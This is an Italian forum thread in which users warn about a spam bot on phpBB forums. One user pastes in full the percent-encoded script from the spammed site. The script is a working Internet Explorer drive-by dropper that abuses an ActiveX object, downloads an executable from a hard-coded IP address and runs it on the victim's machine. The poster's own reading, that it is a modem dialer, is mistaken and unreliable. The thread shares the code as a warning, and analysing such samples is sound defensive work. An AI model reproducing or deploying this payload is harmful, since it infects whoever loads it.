Forum programmazione

[k8]

Se avete ricevuto quel messaggio di visitare blablabla.. non lo visitate..
è un bot che gira nei forum..


Bannato e cancellato.

[4TxN0x]

A me era arrivato, come penso a tutti, dove diceva di visitare un sito che era anche sotto costruzione

[k8]

bene io l'ho bannato

[4TxN0x]

Keit banna Zojicytul è uno spammer

[k8]

Keit banna Zojicytul è uno spammer

eliminato... pezzo di m**da...

[4TxN0x]

Che coglioni devi dire

[Fabriz]

people1000?


in tanti miei amici ci sono cascati...

per fortuna lessi l'articolo in tempo, 2 ore dopo mi arrivò un pm su un'altro forum...

[dome_firenze]

si...eilminiamoli questi spammer del c*zz*

[k8]

si...eilminiamoli questi spammer del c*zz*

bada i gemo

[TurboMinkiaTurbo]

Regà torno dopo tanto tempo giusto per darvi un avvertimento:

Quel bot è stato creato con nomi diversi in tutti i forum phpbb... linka a tutti lo stesso sito che contiene uno script probabilmente dannoso... per non farlo vedere è stato richiamato da un altro sito... lo stipt è in esadecimale e è questo:

Code: Select all

var var33122251183=unescape('%3C%53%43%52%49%50%54%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63'+
'%72%69%70%74%22%3E%0D%0A%20%20%20%20%49%66%20%6E%61%76%69%67%61%74'+
'%6F%72%2E%61%70%70%4E%61%6D%65%3D%22%4D%69%63%72%6F%73%6F%66%74%20'+
'%49%6E%74%65%72%6E%65%74%20%45%78%70%6C%6F%72%65%72%22%20%54%68%65'+
'%6E%0D%0A%20%20%20%20%49%66%20%49%6E%53%74%72%28%6E%61%76%69%67%61'+
'%74%6F%72%2E%70%6C%61%74%66%6F%72%6D%2C%22%57%69%6E%33%32%22%29%20'+
'%3C%3E%20%30%20%20%54%68%65%6E%0D%0A%0D%0A%20%20%20%20%44%69%6D%20'+
'%4F%62%6A%5F%4E%61%6D%65%0D%0A%20%20%20%20%44%69%6D%20%4F%62%6A%5F'+
'%50%72%6F%67%0D%0A%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62'+
'%6A%5F%52%44%53%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74'+
'%65%45%6C%65%6D%65%6E%74%28%22%6F%62%6A%65%63%74%22%29%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65'+
'%20%22%69%64%22%2C%20%22%6F%62%6A%5F%52%44%53%22%0D%0A%20%20%20%20'+
'%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65%20%22'+
'%63%6C%61%73%73%69%64%22%2C%20%22%63%6C%73%69%64%3A%42%44%39%36%43'+
'%35%35%36%2D%36%35%41%33%2D%31%31%44%30%2D%39%38%33%41%2D%30%30%43'+
'%30%34%46%43%32%39%45%33%36%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20'+
'%66%6E%20%3D%20%22%32%32%36%31%38%34%31%32%32%31%38%35%2E%65%78%65'+
'%22%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20'+
'%26%20%22%68%22%20%26%20%22%65%22%20%26%20%22%6C%22%20%26%20%22%6C'+
'%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20'+
'%22%41%22%20%26%20%22%70%22%20%26%20%22%70%6C%22%20%26%20%22%69%22'+
'%20%26%20%22%63%61%22%20%26%20%22%74%69%22%20%26%20%22%6F%6E%22%20'+
'%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%53%68%65%6C%6C'+
'%41%70%70%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62'+
'%6A%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20'+
'%4F%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20'+
'%6F%46%6F%6C%64%65%72%20%3D%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70'+
'%2E%4E%61%6D%65%53%70%61%63%65%28%32%30%29%0D%0A%20%20%20%20%53%65'+
'%74%20%6F%46%6F%6C%64%65%72%49%74%65%6D%3D%6F%46%6F%6C%64%65%72%2E'+
'%50%61%72%73%65%4E%61%6D%65%28%22%53%79%6D%62%6F%6C%2E%74%74%66%22'+
'%29%0D%0A%20%20%20%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F'+
'%6E%65%6E%74%73%3D%53%70%6C%69%74%28%6F%46%6F%6C%64%65%72%49%74%65'+
'%6D%2E%50%61%74%68%2C%22%5C%22%2C%2D%31%2C%31%29%0D%0A%20%20%20%20'+
'%57%69%6E%44%69%72%3D%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70'+
'%6F%6E%65%6E%74%73%28%30%29%20%26%20%22%5C%22%20%26%20%20%46%6F%6E'+
'%74%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E%65%6E%74%73%28%31%29%20%26'+
'%20%22%5C%22%0D%0A%20%20%20%20%66%6E%3D%57%69%6E%44%69%72%20%26%20'+
'%66%6E%0D%0A%20%20%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61'+
'%6D%65%20%3D%20%22%4D%69%22%20%26%20%22%63%72%22%20%26%20%22%6F%73'+
'%6F%66%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67'+
'%20%3D%20%22%58%22%20%26%20%22%4D%22%20%26%20%22%4C%48%54%54%22%20'+
'%26%20%22%50%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A'+
'%5F%6D%73%78%6D%6C%32%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74'+
'%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F'+
'%50%72%6F%67%29%0D%0A%20%20%20%20%6F%62%6A%5F%6D%73%78%6D%6C%32%2E'+
'%6F%70%65%6E%20%22%47%22%20%26%20%22%45%22%20%26%20%22%54%22%2C%22'+
'%68%74%74%70%3A%2F%2F%31%39%35%2E%32%32%35%2E%31%37%36%2E%33%34%2F'+
'%75%73%65%72%32%2F%62%6F%6E%64%30%31%36%37%2F%73%65%72%76%69%63%65'+
'%33%32%2E%65%78%65%22%2C%46%61%6C%73%65%0D%0A%20%20%20%20%6F%62%6A'+
'%5F%6D%73%78%6D%6C%32%2E%73%65%6E%64%0D%0A%20%20%20%20%4F%6E%20%45'+
'%72%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D%0A%20%20%20%20'+
'%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%41%44%22%20'+
'%26%20%22%4F%44%42%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50'+
'%72%6F%67%20%3D%20%22%53%74%22%20%26%20%22%72%65%61%22%20%26%20%22'+
'%6D%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%61%64'+
'%6F%64%62%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62'+
'%6A%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20'+
'%4F%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%49%66%20%45'+
'%72%72%2E%4E%75%6D%62%65%72%20%54%68%65%6E%0D%0A%20%20%20%20%0D%0A'+
'%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26%20%22'+
'%63%22%20%26%20%22%72%69%70%74%22%20%26%20%22%69%6E%67%22%20%20%20'+
'%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22%46%22%20'+
'%26%20%22%69%22%20%26%20%22%6C%65%53%79%22%20%26%20%22%73%74%65%22'+
'%20%26%20%22%6D%4F%22%20%26%20%22%62%6A%65%63%74%22%20%20%20%20%0D'+
'%0A%20%20%20%20%53%65%74%20%6F%62%6A%5F%46%69%6C%65%53%79%73%3D%6F'+
'%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%4F%62'+
'%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50%72%6F'+
'%67%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20%64%6F%77%6E%6C%6F%61'+
'%64%5F%66%69%6C%65%3D%6F%62%6A%5F%46%69%6C%65%53%79%73%2E%43%72%65'+
'%61%74%65%54%65%78%74%46%69%6C%65%28%66%6E%2C%20%54%52%55%45%29%0D'+
'%0A%20%20%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%5F%73%69%7A'+
'%65%3D%4C%65%6E%42%28%58%4D%4C%42%6F%64%79%29%0D%0A%20%20%20%20%46'+
'%6F%72%20%69%3D%31%20%54%6F%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C'+
'%65%5F%73%69%7A%65%20%0D%0A%20%20%20%20%63%42%79%74%65%3D%4D%69%64'+
'%42%28%58%4D%4C%42%6F%64%79%2C%69%2C%31%29%0D%0A%20%20%20%20%42%79'+
'%74%65%43%6F%64%65%3D%41%73%63%42%28%63%42%79%74%65%29%0D%0A%20%20'+
'%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E%57%72%69%74%65%28'+
'%43%68%72%28%42%79%74%65%43%6F%64%65%29%29%0D%0A%20%20%20%20%4E%65'+
'%78%74%0D%0A%20%20%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E'+
'%43%6C%6F%73%65%0D%0A%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E'+
'%61%6D%65%20%3D%20%22%57%22%20%26%20%22%53%63%22%20%26%20%22%72%22'+
'%20%26%20%22%69%70%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F'+
'%50%72%6F%67%20%3D%20%22%53%68%22%20%26%20%22%65%22%20%26%20%22%6C'+
'%22%20%26%20%22%6C%22%20%20%20%20%0D%0A%20%20%20%20%53%65%74%20%20'+
'%6F%62%6A%5F%57%53%68%65%6C%6C%3D%6F%62%6A%5F%52%44%53%2E%43%72%65'+
'%61%74%65%4F%62%6A%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22'+
'%2E%22%20%26%20%4F%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20'+
'%20%4F%6E%20%45%72%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D'+
'%0A%20%20%20%20%6F%62%6A%5F%57%53%68%65%6C%6C%2E%52%75%6E%20%66%6E'+
'%2C%31%2C%46%41%4C%53%45%0D%0A%20%20%20%20%45%6C%73%65%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%61%64%6F%64%62%2E%54%79%70%65%3D%31%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%61%64%6F%64%62%2E%4F%70%65%6E%0D%0A%20%20%20%20'+
'%6F%62%6A%5F%61%64%6F%64%62%2E%57%72%69%74%65%28%6F%62%6A%5F%6D%73'+
'%78%6D%6C%32%2E%72%65%73%70%6F%6E%73%65%42%6F%64%79%29%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%61%64%6F%64%62%2E%53%61%76%65%54%6F%46%69%6C%65'+
'%20%66%6E%2C%32%0D%0A%20%20%20%20%6F%62%6A%5F%53%68%65%6C%6C%41%70'+
'%70%2E%53%68%65%6C%6C%45%78%65%63%75%74%65%20%66%6E%0D%0A%20%20%20'+
'%20%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%20%20%20%20%45%6E%64%20'+
'%49%66%0D%0A%20%20%20%20%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%3C'+
'%2F%53%43%52%49%50%54%3E%0D%0A%0D%0A');

ne ho tradotto solo un pezzettino giusto per farmi l'idea che scrive in una variabile una serie di comandi che verranno successivamente eseguiti dal computer (funziona solo su Microsoft Internet Explorer mi sembra di avere capito, perciò io non mi sono preoccupato)

a questo punto ho continuato a seguire richiami ad altre pagine e sono finito su un sito di ragazze squillo...

così pensavo che fosse una specie di programma che disconnette il proprio modem dalla proprio operatore e lo collega a questi siti (esattamente come fanno i programmi mascherati da video porno messi su internet)


Se c'è qualcuno che conosce bene il linguaggio di quello script e gli va di tradurlo daall'esadecimale per capire se ho ragione ho no qui c'è il primo pezzo di traduzione:

Code: Select all

var var33122251183=unescape(<SCRIPT language="VBScript">
or.appName="Microsoft Internet Explorer" Tn
If InStr(navigator.platform,"Win32")
<> 0  Then

    Dim
Obj_Name
    Dim Obj_


e così via... qui non ci capisco nulla... lascio la strada agli esperti per smentire o confermare la mia teoria

[k8]

Regà torno dopo tanto tempo giusto per darvi un avvertimento:

solo per questo?

[TurboMinkiaTurbo]

pultroppo la scuola, i miei amici assetati di D&D e problemi sentimentali non mi permettono di stare molto su intenet...
Ma prima o poi tornerò come ai vecchi tempi e mi rimetterò a studiare il C... un giorno...

[k8]

pultroppo la scuola, i miei amici assetati di D&D e problemi sentimentali non mi permettono di stare molto su intenet...
Ma prima o poi tornerò come ai vecchi tempi e mi rimetterò a studiare il C... un giorno...

[Falcon]

T aspettiamo!

[Falcon]

Raga ma s è riaperta la stagione degli spammer????